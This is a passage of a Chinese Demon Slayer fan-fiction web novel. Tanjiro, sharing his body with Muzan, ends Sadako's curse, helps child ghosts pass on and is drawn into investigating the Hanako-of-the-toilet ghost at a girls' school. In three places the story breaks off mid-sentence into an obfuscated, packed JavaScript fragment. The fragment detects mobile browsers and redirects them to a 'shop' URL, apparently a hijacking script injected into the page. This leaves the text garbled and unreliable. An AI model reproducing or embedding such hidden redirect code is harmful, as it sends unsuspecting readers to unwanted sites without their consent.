l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112252|194698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越涨红,心脏抽疼… 挣扎越来越弱… “哥哥…” 她的手臂无力地下垂… 突然屋内响起雷鸣声… 一道沉稳冷静的声音响起:“雷之呼吸·一之型·霹雳一闪!” 一道帅气的身影突然闪现过来,贞子的手臂被一把菜刀,砍了下来。 祢豆子跌坐在地,善逸伸出手挡在她的面前。 “祢豆子妹妹,由我来保护。” 祢豆子愣愣地看着那道身影,觉得似曾相识,未等她多想,贞子又一次发动超能力,将众人死死地按在地上,她的胳膊重新长了出来,并朝着善逸掐去… “不要!” 在祢豆子的呐喊下,大门被猛地踹开,红发少年站在门口。 “哥…”祢豆子正想喊人,但声音卡在喉咙里。 门口的人拥有着哥哥的脸,但那双眼睛不是哥哥! 他不是哥哥。 下一秒,少年眨间眼,令祢豆子熟悉的眼神回来了。 “祢豆子。”炭治郎部了进来,他手中有八支针,他立刻先给忍打了针。 从幻觉中恢复过来的忍,立刻就从炭治郎手上接过疫苗,与姐姐平分给其他人打针。 炭治郎则一把撞开了贞子,避免她伤害善逸,祢豆子趁机将善逸拉了过来,两人同时接种疫苗,幻象逐渐消失… 他们眨眨眼,只见炭治郎一个人站在电视机前。 炭治郎望着眼前阴森可怖,冷冷地站在那里的贞子,既有同情也有愤怒。 还真是千钧一发,刚刚如果不是他让无惨接管身体,用非人类速度赶来,他可能就真的见不到妹妹和朋友们了。 “你该离开了,贞子小姐。”他不知道明明自己身上已经没有诅咒了,为何还能看到贞子。 对于这种恶灵,他知道自己杀不死她,但是对方也已经输了。 他上前不顾那冰冷的怨念,紧紧地抱住了她。 贞了没有反抗,或许对于她来说,无论是杀人也好,借腹重生也罢,都无所谓,她只是在散布怨恨罢了。 “贞子小姐,我知道你的过去,那样的事情无法遗忘,也无法原谅。” “但也请你安息吧。” “我不会消失的。”贞子的声音很冷,但也很好听。 “人是自私的,只要欲望还在,我就还有机会。” 她一直都在,一直潜伏着,等待着重见天日的时候,等待着从那口井底爬出来的时候。这些人可以消灭她的病毒,但抹消不掉她的怨念。 炭治郎点点头:“我知道,但只要我在,我不会让你伤害无辜的人。” “但我还是希望我们能再也不见。” 他松开了贞子,眼前的浑身湿漉漉的女鬼,已经变成曾经美丽、面容姣好、富有魅力的少女。 她比照片上还要迷人,也比照片上更加神秘淡漠。 “我只是这一次输了而已。” 显然像贞子这样的人,并不会因为三言两语而放弃大计。 炭治郎轻笑:“我知道。” “但是…”炭治郎拿出藏在口袋里面的疫苗扎向自己。 “晚安,贞子小姐。” 随着药水推进,眼前的贞子逐渐消失。 30.第 30 章 “无惨,看来还是贞子小姐比你聪明。” “你都没把人家的病毒吞干净。”炭治郎在内心腹诽道。 他想既然病毒有贞子的DNA,那肯定多少附着着一些意识。不是他没有被检测到毒病,而是毒病在感应到无惨的吞噬后,便在他身体里躲了起来。 因此不仅逃过了无惨的吞噬,还逃过血液检测。 病毒做的事很简单,就像贞子的怨念在井中潜伏着,他也在自己体内潜伏,等着有朝一日,重新繁殖的时刻。 无惨:“闭嘴!我只是大意了!” 谁能想到一个病毒那么智能! 炭治郎并没有多说什么,他转身看着劫后余生的众人。 “对不起,大家,我来晚了。” 如果自己再快一点的话,就不会让大家遇到这么恐怖的事了。 “炭治郎,抬起头来,你可是救了我们。” “是啊,炭治郎如果没有你,我和哥哥就死了。” “哼!” “权八郎你再来晚一点也没关系,俺也只可以杀了那鬼。” “炭治郎,干得好。” “哥哥!”祢豆子扑上前去拥抱住哥哥。 “我们一家能一起去海边了。” 那天餐桌上的约定,她一直记在心上。 就在她高兴得流泪时,一旁传来魔音灌耳。 “啊啊啊啊!鬼啊!炭治郎救命啊!快来救我!我要死了啊!!” 一直昏迷着的善逸终于惊醒,不过他一醒来,果然就在大喊大叫,直到后脑被伊之助捶了一拳。 “起来,跟俺比试。” 刚刚纹逸这小子居然在耍帅,而且还会那么酷的刀法!简直太让人生气!不就是刀法嘛!他也能! “比试!什么比试!”善逸还没搞清楚情况,根本不知道发生了什么事。 可随即他便被伊之助拿着两把刀追杀,非要他把刚才的招式再使一遍。 可是善逸哪知道自己曾经砍下过贞子的一条手臂啊。 明明自己只是睡了一觉而已。 怎么一觉醒来,不仅诅咒解了,这只野猪还要追杀自己。 “救我啊,炭治郎、祢豆子,还有其他人…谁来救我都可以啊!”他一边在屋子里打转,一边大喊道。 然而众人只是相视一笑,谁也没有出手阻拦。 “既然贞子的事都已经解决了,不如去吃一顿吧。” “我请客。”香奈惠提议道。 “好哇。”香奈乎赞同道。 这一场恐怖的录像带之旅终于结束,大家终于重新露出开心的笑容,一起欢欢喜喜地去庆祝,去庆祝他们能好好活下来,迎接美好的明天。 听到有吃的,伊之助立刻不追善逸了,扔下刀就追了上去。 “等等俺。” 再着急比试也没有干饭重要。 终于可以歇歇的善逸,跌坐在地上,终于是缓了一口气,但还没有做多远,听到那脚步声越来越远,他赶紧追了上去。 “炭治郎~祢豆子~等等我呀。” 出门时,他还不忘了关门。 他们先去吃一顿自助餐,然后去KTV欢唱了一夜,清晨时才各回各家,但在回家前,炭治郎还去了一次医院。 在医院里,他又见到了阿勇先生。 他替阿勇注射疫苗,原本眼神空洞的阿勇先生,在这一针下去后,眼神恢复点了神色。 想来用不了多久,他就能恢复了吧。 趁着没有人发现,他悄悄地离开了医院,然后买了一束花。 “喂!炭治郎,几天都没有好好休息,你要去哪?” 意识到现在的炭治郎只是一个普通的高中生,不好好休息,随时会猝死。他可不想自己看中的继承人,因为几天没有睡觉而死了。 于是不悦的开口道。 “无惨,你这是在关心我吗?”炭治郎心情倒是挺好。 或许是因为祢豆子他们都没事了的原因吧。 无惨冷哼一声:“没继承我力量之前,我不允许你死。” 果然还是很别扭啊。 炭治郎拐进一家卖娃娃的店,买了一只巴掌大的小熊,然后坐上一辆公交。 公交车来到一家旅店前停下。 无惨对这里有印象。 这里是他从地狱里爬出来后,第一次遇到炭治郎的地方。 或许是时间久了,他已经了解到炭治郎就是一个多管闲事的烂好人,所以不屑地开口道。 “怎么,又想来温暖鬼了?” “那个孩子可是杀了十几个人了。” “连你不也是差点被杀了。” 炭治郎目光坚定地走上前:“我知道,所以不能让她继续作恶了。” 由于前不久炭治郎就在这里受过伤,旅店老板一下就认出他来了,还以为对方留下了什么后遗症,来讨要说法的,很是紧张。 但炭治郎表示,自己只是来和楼梯口的小女孩对话的。 “你…你都知道了…”旅店老板很紧张。 这些年来,他都找了多少人来驱邪了,可是都毫无用处,由于生计问题,他根本不敢关店,否则一家人如何生活下去。 炭治郎点点头:“我想试一下。” “拜托了。” 这个人既然在鬼的手上活了下来,那应该还是多少有些办法的吧。 于是他让炭治郎上楼了,并叮嘱在炭治郎下楼之前,任何人上不得去楼上。 炭治郎一步步往上走,他来到自己摔下去的地方,或许此时正值白天的原因,所以这里看上去很正常,没有一丝的鬼气。 “我们谈谈好吗?小朋友。” 随着炭治郎的话音刚落,一个红衣小女孩缓缓出现,并且恶狠狠地瞪着炭治郎。 “你…” 小女孩还没有放出狠话,便被一只毛绒小熊怼脸。 “锵锵是小熊哦,喜欢吗?”炭治郎并没有上来就说教,反而将那只小熊往女孩面前推。 “你可以把这小熊,当作自己的朋友,这样就不会孤单了。” “我不要!” 小女孩一边拒绝着,一边死死地抓住小熊。 “你要做我哥哥。”小女孩看着炭治郎说道,眼神柔软了几分。 炭治郎悲悯地看着她,将小熊塞到她的怀里:“一直以来,很孤单吧。” 小女孩低下头:“嗯,爸爸妈妈都不要我,把我一个人留在这里。” 爸爸要那个阿姨,不要她,所以把她推下楼。妈妈想挽留爸爸,在有了新的孩子后,就再也不来看她了。 她好孤单,好孤单… 她不想一个人留在这里,想要更多的人陪她一起玩,只要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122240|194698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人多了,就能热闹起来了,就不会再孤单了。 “可是你带走了其他人,被迫离开家人和朋友的他们,也会很孤单啊。” “有我陪着,他们不会孤单的。” 说着,小女孩子身边出现了十七道鬼魂,那些鬼魂身上都隐隐有条线,套在脖子上,那线一直延伸到小女孩子手上。 十七个人,有大人,有小孩子,虽然大部分都是男人,却也有两个女性灵魂。 那些灵魂害怕地看着小女孩,却什么也不敢说。 炭治郎叹气,他握上小女孩的手:“你看看他们,仔细看看。” 他让那小女孩看看那些人:“他们同样也很痛苦啊。” “用暴力屈服的关系,永远只是虚假的关系罢了。” “我相信你是个好孩子,懂这个道理的对吗?”他循循善诱道。 果然一说完,小女孩就哭了:“可是不这样,我该怎么办?” “我不想一个人在这里…” “好痛苦。” 旁人看不到她身影,也听不到她说的话,直到她将第一个人推下楼梯,她感觉到了一股奇妙的力量,涌遍全身,她既可以出现在他人面前,也可以自己挑选玩伴,她再也不会感到孤单了… 可现在她动摇了… 因为一直以来哪怕拥有了这么多玩伴,她依旧感到孤单,感到不满足… 炭治郎摸了摸她的头:“成佛去吧。” “当你还清一切罪孽,重新投胎时,你会重新拥有一段新的人生,拥有喜欢你的父母,你不再孤单。” “真的吗?”小女孩抽泣地问道。 炭治郎点点头。 “让她下地狱后,去找一个叫累的人。”无惨突然开口道。 “对了,你在地狱里还可以找一个叫累的孩子,相信你们能成为朋友。” 虽然炭治郎不知道累是谁,但总感觉也是个孩子,所以他把无惨的话转述了出来。 “嗯,谢谢你哥哥。” 小女孩笑了,这一次终于是发自内心开心地笑了。 她抱着那只小熊身影逐渐消失,小熊掉在地上,毕竟阳间的东西是带不到地狱去的。 炭治郎捡起那只小熊,抬头看向眼前十七只鬼,随着小女孩的消失,那些鬼的脸上,像是得到解脱一般,向炭治郎鞠了一躬后,也消失在原地。 炭治郎将带来的小熊和鲜花放在楼梯口。 下楼时,旅店老板正焦急地在那里焦急地来回踱步,见到炭治郎他立刻迎上去。 “怎么样了?”他问道。 炭治郎微笑道:“没事了,她已经成佛了。” “是吗?”旅店老板有些半信半疑,毕竟他都请过那么多人了,可仍然每隔几年,就有事发生。 炭治郎知道自己也解释不了什么,一切就交给时间来印证吧。 他出了旅店,又来到之前自己差点出车祸的路口,路口处,一名眼镜男看到了一个足球滚到脚边,随即看到一个小男孩跑来,准备捡球,可此时是红灯啊! 眼镜男立刻要跑出去救男孩,但他还没来得及跑出去,便有人抓住他的手腕,往后一拉。 “你放…”眼镜男话还没说话,一辆车从他眼前驶过。 炭治郎:“那男孩没事。” 眼镜男随着他指的方向望去,可哪里还有什么小男孩呢? 31.第 31 章 “那男孩呢?”眼镜男疑惑地擦了擦眼镜,又瞧了一眼,却依旧没有人。 炭治郎:“绿灯了,你该走了。” “哦,谢谢。” 眼镜男反应过来,在向炭治郎道谢时,走向对面。 但即使如此,他仍然时不时地看看左右两边,想要找到那个男孩,男孩就在他的身旁,可他却什么也看不到。 又没能找到替身的男孩恨恨地瞪向炭治郎。 “别多管闲事。”他咆哮着威胁道。 炭治郎只是朝他招招手,让他过来。 等小男孩过来后,他蹲下身,带着温和的笑容:“我想办法,让你去投胎,你别害人了好不好。” 小男孩一愣:“你可以吗?” “哥哥认识灵能力者,他们可以帮你的。” 听到这话,小男孩突然警惕起来:“你们不会来消灭我吧。” 炭治郎伸出小拇指:“不会,不信咱们拉钩。” 小男孩将信将疑地伸出手:“不许骗我。” 最终,他勾上了炭治郎的小拇指,两人在那里拉钩,即使在旁人眼中,只是炭治郎一个人在那里举止奇怪。 在与小男孩做完约定后。 炭治郎联系了森罗万象丸,希望他能帮忙超度,需要多少钱跟他说,自己会想办法凑齐的。 只是超度而已,森罗万象丸自己也可以,不是什么难事。 “报酬的话2000元就够了。” “这真的可以吗?不会太亏了吗?” “没什么,就当我也出一份心意吧。”森罗万象丸的语气很轻快。 “感觉森罗先生好像有点改变了。是遇到什么好事了吗?” 好事吗?或许吧,在见到那两师徒之后,他也多少有些改变了吧。 两天后,炭治郎与祢豆子再经过那个路口后,那里摆着一小束花,而炭治郎再也没有看到过那个小男孩,想来他已经成佛了吧。 炭治郎将约定好的报酬给了森罗万象丸,并告诉他,以后来他们家买甜点,一律给他打八折。 付完报酬后,炭治郎数了一下手上剩下的钱… 如今一切都做完了,也该做个了断。 他拨通了之前森罗万象丸给他的联系电话。 “你好,是伊藤大师吗?我想找你商量一下。” 无惨:“灶门炭治郎!你居然还想着驱除我!” 炭治郎一副为你好的表情:“无惨,你也该从我身上离开,去投胎了!” 贞子的诅咒没有了,旅店里的小女孩离开了,路口的小男孩也成佛了。包括之前的裂口女,还有运动会上的鬼都走了。 无惨死赖着不走,总不是一件好事。 去投胎才应该是他做的正事,而不是在这里死缠着自己。 “不可能!在你继承我的力量之前,我不会离开的!” 投什么胎!他根本就没有投胎的机会! 炭治郎鄙夷道:“你说谎无惨,就算我继承了你的力量,你也不会离开的吧。” 无惨又不说话了,显然炭治郎猜中他的心思。 被拆穿的无惨,继而恼怒起来:“那又如何,炭治郎,你这辈子休想甩掉我!” 他不会在同一件事上,摔倒两次! “嗯嗯,知道了。” 但炭治郎并没有把无惨的话放在心上,只是把他当作闹别扭的小孩子,一边敷衍着,一边上床睡觉。 “晚安,无惨。” 即使要对无惨进行除灵,炭治郎依旧很有礼貌地和对方道晚安,然后不顾生气地无惨,倒头就睡。 “给,炭治郎。” 解决了一大堆事,炭治郎终于回归到了正常的日常校园生活。 清晨,他才在自己的座位上坐好,一本笔记扔到了他的面前。 “也不知道你们都干什么去了,一个两个都不来上学。” “这个是这两天我写的笔记,你拿去。” 玄弥环抱着,有些不悦道。 真搞不明白,那么多天都不来上学,肯定是遇到什么事了。都不跟他说一声,就那样不明不白地请假了,真的害他担心死了。 他愤怒地指着炭治郎:“下次别玩什么失踪!” “还有,好好感谢我哥!这笔记我哥也有出力!” 玄祢在埋怨炭治郎的同时,也不忘说自己哥哥的好话,恨不得把“我哥是绝世大好人”这句话,给贴脑门上了。 炭治郎拿起那本笔记,朝玄弥露出笑容:“谢谢。” 第二天,实弥打着哈欠来到自己的教师办公桌上,便看到一个精致的包装袋,袋子里放着萩饼。 看到萩饼的那一刹,他嘴角扯出一抹笑容,但又立刻板着脸,见四下无人,赶紧藏了起来。 他可不想被人知道自己喜欢吃萩饼,这些萩饼得带回去给弟弟妹妹一起吃。 至于是谁送的?还用猜吗?除了那个家里开甜品店的,鼻子比狗灵的人之外,还能有谁吗? 周六清晨,炭治郎找到灵能力者伊藤的家中,那是一处传统日式住宅,他按响门铃,出了来一位三十左右,戴着眼镜身着和服的男子。 看着不说是灵能力,还以为是某个学者呢。 他看到炭治郎后眉头微蹙,但并没有多说什么,而是炭治郎跟进来。 炭治郎默默跟上,宅里布置都很普通,没有符咒,也没有诡异道具,四周也很干净,可见这个伊藤大师是一个做事井井有条的人。 他招呼炭治郎坐下。 “你的事,我从万象丸那里听说了。” 伊藤与炭治郎面对面而坐,目光紧盯着他:“说实话,我没想到你的情况这么严重。” 听到伊藤先生那凝重的语气,炭治郎还是抱有一丝希望:“那有希望超度无惨吗?” “以我的能力,怕是不能了。”伊藤很认真地说道。 “本来我还想,至少可以帮你压制一下这个千年厉鬼,但看来你比我还要强。” “可我并没有任何灵能力呀?”炭治郎疑惑道。 “炭治郎对吧。” 伊藤指了指屋外的花园:“你看那边。” 炭治郎顺着他手指的方向看去,那是一处打理得很好日式庭院,细砂、鱼池、水流潺潺,还有一位白衣女子正在剪树枝,似乎是感受到了旁人的视线,对方转过身,与炭治郎微微点头示意。 炭治郎也向她微笑点头。 “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133696|194698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是您的夫人吗?”炭治郎问道。 “是的。”伊藤垂下眼眸。 “那是我三年前去世的妻子。” “什么!”炭治郎瞪大眼睛。 “是伊藤先生的能力吗?”他问道。 伊藤摇头:“不是,我的妻子死后,一直不愿意离开,可能我也有私心吧,虽然外人看不到她,可作为灵能力者,我依旧能感觉到妻子就在身边,也就没有超度她。” “她就是一个普通的灵,旁人看不到她,她也伤害不到外人。” “你能看到她,是因为你本身也能灵视能力,只是平日里被你自己压制住了。” “是这样吗?”炭治郎还是不敢相信,自己都活了十几年了,突然被人告诉自己可以见鬼,放谁身上的都一时难以确信。 可是伊藤先生并没有说谎。 “但我好像也不能对灵体做些什么。”即使知道自己拥有见鬼的能力,但炭治郎依旧不能驱除他们。 无论是上次运动会还是这次对付贞子,他都借用无惨的力量。 “你有可能误会我的意思了,虽然你拥有灵视能力,但我说的强不是指这个,而是你的意志力,你的意志力可以轻易压制一个千年厉鬼,这意志力并不是人人都有的。” “所以在没有找到强大的灵能力者之前,你完全可以压制住你体内的恶灵。” “但请记住,千万不要答应恶灵的要求,一旦达成交易的话,就如果打了潘多拉魔盒,根本不知道会造成什么后果。” 炭治郎一脸凝重地点了点头。 “我知道了,谢谢你伊藤先生。” 临走之前,伊藤还送了炭治郎一些自己画的符:“虽然作用不大,但至少有些护身的作用。” 炭治郎本来想付钱的,但是伊藤表示自己都没能帮助炭治郎完成委托,再收钱就不好了,于是炭治郎给了自己家里甜品店的八折券,欢迎他随时来品尝。 出门的时候,炭治郎还回头望了一眼,伊藤太太还冲他挥手,他也向对方挥手。 如此温柔的夫妻俩人,难怪伊藤太太不愿意离开。 他想如果是自己的话,等到某一天死的时候,他也不愿意离开,会陪着家人寿终正寝,和他们一起去冥界。 “连伊藤先生也解决不掉无惨,要去哪找更强的灵能力者呢?” 从伊藤家出来,炭治郎连声叹气。 “你找多少灵能力者没用,那些废物根本就不能驱除我。” “唉~我们无怨无仇,又不认识,你这缠着我又是何必呢?”炭治郎叹气道。 伊藤太太是因为舍不得丈夫,才不离开的。可他跟无惨完完全全就是陌生人啊,怎么就被缠上了呢。 不知道为何,炭治郎说自己不认识无惨后,就感觉到浓烈的怒意。 自己又说错话了吗? 就在他不理解为什么无惨这么生气时,身后传来声音。 “炭治郎,这不是炭治郎吗?” 那声音来得太突然了,就像鬼一样悄无声息的,把炭治郎都吓了一跳,一不小心就要摔倒,幸好有人扶住了他。 “你这个样子,算什么男子汉!” 肉粉色头发的少年有些生气道。 32.第 32 章 “锖兔学长,真菰学姐,好巧啊,在这里遇到你们。” 原来不是鬼,是学长学姐呀。 “炭治郎,你走在路上也太大意了吧。” 见炭治郎这么迷迷糊糊的模样,真菰一下笑了出来。 “堂堂男子汉,别走路分神,像上次一样,出车祸了怎么办!”锖兔严肃地说道。 “对不起,我在想事情。”炭治郎没想到自己出车祸的事,都传到高三那里去了。 见到乖乖认错的炭治郎两人也没有再多说什么,反而真菰还向他邀请道。 “对了,我们打算去给鳞泷先生买生日礼物,炭治郎愿意一起吗?” 原来,这两人是为了给鳞泷先生挑生日礼物,才会出现在这里。 炭治郎狠狠点头:“当然愿意。” 他们来到商场,逛了很多店,衣服、吃的、补品…他们想了很多礼物,但总觉得不太合适。 这时炭治郎提议道,不如买个按摩腰的按摩仪给鳞泷先生,他见对方的腰不太好。 锖兔和真菰觉得这是一个好主意。 可当他们来到卖按摩仪的店时,两人发现身上的钱还差一点。 他们都是学生,虽然平日里也有打工赚点钱,但以他们身上的钱,还不够买下一台按摩仪。 “我也尽一份心意吧,鳞泷先生平日也很照顾我。”炭治郎拿出钱包,补上剩下的两千元。 这下他们的钱够了。 锖兔拍了拍炭治郎的肩:“谢谢。” 他拿上钱,去找店员包装,由于是送人的,还是送给他们敬爱的鳞泷先生,所以必须包好一点,而且得符合老年人审美。 炭治郎和真菰就在一旁等着他。 真菰双手背在身后,低着头,脚尖划着门口的地毯,像是有些无聊,在给自己找点事做,她和炭治郎郎突然聊了起来:“炭治郎,那天运动会,你究竟看到了什么?” 虽然在外人看来,炭治郎只是阻止了一个发狂的女生。 但是真菰认识那个女孩,那个女孩是一个非常乖巧的孩子,不可能会做出那样的事来。 说完这话,真菰看向炭治郎,瞧着那如水般眼眸,炭治郎根本没有办法说谎。 于是他只能将自己所知道的一切,告诉了真菰。 “原来是这样,是恶灵附身啊。” 听到这个解释的真菰没有一丝怀疑炭治郎,反而露出恍然大悟的表情,因为也只有这样想,才能解释得通。 “这么说来,千代学校遇到的,可能也是恶灵。” 她嘀咕着什么,炭治郎并没有听清,只见学姐一脸凝重地看着他。 “炭治郎你是不是能看到恶灵?” “也算吧。”炭治郎答道。 虽然伊藤先生说过他有灵视能力,但炭治郎并没有什么实感,之前那些恶灵都是主动在他面前出现的,他还没有见过其他灵魂。 “炭治郎,能帮我一个忙吗?” “好哇。”炭治郎想也不想地回答道。 “什么事?” “穿女装,跟我去个地方。” “啊?”炭治郎都怀疑自己的耳朵出问题了。 真菰学姐在说什么,什么女装?女什么装?什么装? 他的后背被人猛地拍了一下。 “堂堂男子汉,做事别磨磨蹭蹭的。”锖兔拎着礼物出来。 “可…可是…”炭治郎羞红了脸,这一码归一码吧! 可未等炭治郎问清楚究竟发生了什么事,便被两人拉走,来到一处一户建的小房前,随着按响门铃,戴着开狗面具的老人打开门。 “鳞泷先生!生日快乐。” 三人异口同声道。 虽然看不到鳞泷先生面具后的表情,但炭治郎闻到一股很开心的味道,鳞泷招待他们进来,并准备了茶点。 除了他们以外,屋子里还有好多其他少年少女们,他们都是来给鳞泷先生庆祝生日的。炭治郎不认识这些人,但见真菰和锖兔和他们每一个人都很熟络,想来他们是住在附近的孩子,并且与鳞泷先生交好。 很奇怪,炭治郎都不认识他们,却有一种熟悉感,仿佛他们前世就见过了。 就在临近中午的时候,又有门铃响了。 炭治郎去开门:“义勇老师。” 没想到义勇老师也会来。 对方穿着休闲服,拎着蛋糕。 “我来给老师送蛋糕。” 原来鳞泷年轻的时候是幼儿园的老师,曾经教过义勇老师和他的姐姐。 进来后,义勇将蛋糕交给鳞泷,并祝他生日快乐。 之后就一个人坐在角落里一言不发,虽然这么多人,就他一个坐在那里有些格外显眼,但此刻在这样的空间里,却格外和谐,反而如果没有义勇的话,像是缺了什么似的。 除了义勇带来的蛋糕,鳞泷先生还做了很多好吃,吃饭的时候,孩子们纷纷拿出自己的礼物,鳞泷都郑重地收下,并摸了摸每个孩子的头,那一刻他身上的幸福都快溢出来了。 对于鳞泷来说,这些孩子虽然和他没有血缘关系,但却是他最重要的珍宝。 吃过饭,孩子还很自觉地帮着鳞泷先生做家务,真菰更是帮鳞泷捶背,一副孙女和爷爷共享天伦的样子。 在院子里拔杂草的炭治郎看到这一幕,嘴角露出笑容。 捶完背的真菰,来到一个女孩身边,那女孩和真菰差不多大,两人不知道在说些什么,然后同时朝着炭治郎看来。 此时炭治郎还在拔草,根本不知情。 等他拔完草,在水池边洗手时,两人找了过来。 “你好。” 真菰身旁的女生开口了,她自我介绍道:“我叫千代,是真菰的朋友。” “你好,我是炭治郎。”炭治郎笑眯眯地向这位新朋友打招呼。 “你明天,能不能去我学校一趟,帮我确认点东西。” “好啊,什么东西。”炭治郎又是想也不想地就答应了。 “花子。” “嗯嗯。”由于自己的妹妹就叫花子,炭治郎也并没有太在意。 见炭治郎答应得如此干脆,千代很是高兴,她握住炭治郎的双手表示感谢,并且让她明天上午记得到真菰家集合。 直到这时炭治郎还没有意识到有什么问题。 第二天一早,还准时赴约,然后真菰和千代便塞给炭治郎一袋东西。炭治郎打开一看是一套女式校服,还有一顶假发。 他几乎是一脸懵地被推进卧室,然后浑浑噩噩地换上女装、戴上假发。打开出来时,两个女孩还发出惊呼,拉着炭治郎化妆,最后看着镜子里的“少女”,炭治郎都有些认不出来自己… 自己…究竟在干什么…为什么在这里,又为什么穿女装… 然而换完女装后 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二十分钟后,他们终于来到千代的学校。 这是一所女子高中,所以炭治郎才需要穿女装,否则根本进不了校门。 千代是学生会的一员,她向门卫解释自己学生会有工作要处理,两个门卫便放他们进去了。 一进学校,千代便带着炭治郎前往那些学生消失的厕所。 厕所位于四楼的最里面。 因为是周日的原因,学校里没有人,自然也不会有人上厕所,这也避免了炭治郎会感到尴尬。 炭治郎站在偌大的厕所间里,左右环顾着。 “怎么样,看到什么了吗?”千代问道。 炭治郎一间一间地打开厕所隔间,除了打扫得干净的马桶外,只有空空的垃圾桶,其余什么也没有发现。 “无惨,你有察觉到什么吗?”炭治郎求助着体内的无惨。 同样是鬼,无惨应该能发现自己的同伴吧。 “继承我的力量,我自然会告诉你。” 无惨可不再愿意被他当免费劳力了。 炭治郎只能内心说了句小气…然后嗅了嗅,但可惜,鬼是不能通过气味闻出来。 “抱歉。” “我想自己大概只有在鬼出现的时候才能看到。” 他有些愧疚地说道。 在看到千代眼中的失落时,炭治郎从口袋里掏出两张符。 “这个是一个灵能力者给我的,是真货,应该是有用的。” “千代姐姐,一张你贴身放好,另一张放在厕所里藏好,如果真有鬼,应该是有用的。” 千代接过两张符,点点头。 虽然还不知道究竟是不是有鬼,但有这两张符也是好的。 那一天,炭治郎什么也没有发现,在给了两张符后就回去了。 接下来两天,他正常地上下学,而千代那里也一直没有什么动静。炭治郎回归到正常的生活中,认真学习,在自家店里帮忙,查找怎么驱除厉鬼办法,偶尔还和无惨拌嘴。 当然每一次都是无惨被气得不轻,却又拿炭治郎没办法。 直到半个月后,学校里,正准备和朋友们一起去天台吃饭的炭治郎,被真菰着急地拉走。 “炭治郎,不好,千代出事了!” 33.第 33 章 听到千代出事,下午炭治郎便请了假,跟着真菰一起去了医院。 医院里千代摔断了腿,打着石膏躺在病床上。 看到受伤的千代,炭治郎赶紧上前询问情况。 “千代姐姐,发生什么事了。” 千代看向炭治郎,眼中有感谢和庆幸。 “炭治郎,我还得感谢你,要不是有你的符,我可能已经被花子杀死了。” “你遇到花子了?” 千代点点头。 那是昨天傍晚,他们学校大扫除,排到了她和另一个女生去扫厕所。 当时她们都扫得差不多了,只剩下两个马桶时,清洁剂正好用完了。另一人便去取,而她就在厕所里等。 在等的时间里,她还蹲下来查看了藏在洗手池下的符,见那符好好地待在那里,她还略感安心。 她站起来时,透过镜子,看到一间格间的门缓缓打开,她并没有当一回事,转身继续便要去关门,但就在她碰到那扇格间门时,一只手出现在门上,死死抓着门,不让她关上。 她吓得连连后退两步,再眨眼时,门上的手消失了。 好像刚刚的只是她的幻觉。 她掏出炭治郎给的符,缓缓靠近,深吸一口气,再次抓住那扇门,然后猛地打开。 她将那张符伸了出去… 小心翼翼地睁开眼,但格间里什么也没有,除了那个马桶外。 她松了一口气,正要关门离开,但身后却传来一声轻笑,然后她感觉有人在背后猛地一推,她整个人摔进格间。 “碰!” 格间门一下死死地关上,无论她怎么拧,都拧不开门把手。 “放我出去!放我出去!” 千代不停地拍门,希望去取清洁剂的同学回来后,能听到她的求救。但这时她感觉到脖子那里痒痒的,伸手一摸,手上是一大把的黑漆漆的头发。 千代的头发是棕色的,所以这根本不是她的头发。 她吓得将那些头发扔到地上,随即抽水马桶的声音响起,她回过头只见从马桶里,涌出一大股的黑色长发,那些长发好像有意识一般朝她伸来,并缠住她的手腕,往马桶里拉… “别过来!” 千代一边喊,一边将符伸出去,那符一碰到头发… “啊啊啊!” 头发开始惨叫,并松开了她,只是那叫声是从头顶传来的。 她抬起头,看向上方。 只见格间趴着一个浑身是血,大概八九岁的小女孩,女孩面色铁青,一双只有眼白没有瞳孔的眼睛死死地瞪着她。 千代抄起地上的垃圾桶就向她砸去,然后转身一脚踹开大门,整个人朝外跑。 那头发见她要跑,又一次追上来,死死地缠住她的腿。 千代因此脚下一滑重重地摔在地,她听到骨头断裂的声音,疼得流出一身冷汗,还未来得及叫出声,整个人便被头发拖行起来。 再这样下去了,她会被花子抓走的! 她咬咬牙,将符直接贴在那头发上,然后拖着受伤的腿,滚到洗手池边上,眼疾手快地掏出另一个张符,护在身前。 贴在发头上的那张符,因为沾染了怨气,很快燃烧消失,厕所里飘荡着一股烟味,那头发朝着千代漫延而来,却始终不敢接近千代,就像拥有意识一般徘徊着… 厕所外响起脚步声,头发逐渐缩了回去,千代喘着大气,心脏砰砰直跳,她死死地瞪着那个站在对面,正阴恻恻地瞪着自己的小女孩。 随着厕所门打开,花子的身影逐渐消失,刚刚离开去取清洁剂的女生发现了倒在地上的千代。 “千代你怎么样了。” 女生联系老师将千代送进医院,校方说是千代自己不小心在厕所里摔倒了。 但只有千代自己知道,她是真的遇到了花子。 花子的传说是真的。 知道这个的炭治郎赶紧联系了森罗万象丸,但森罗万象丸有别的事要解决,没有办法过来帮他。他又联系了伊藤先生,伊藤也出国了,暂时回不来。 不过,他告诉炭治郎一件事。 像这种厕所里的花子,极有可能是惨死在那里,被人死后埋尸。 找到她的尸骨,用他的符咒净化,就能对付她了。 当然自己也可以帮他另外找灵能力者。 专业的事还是交给专业的人来比较好。 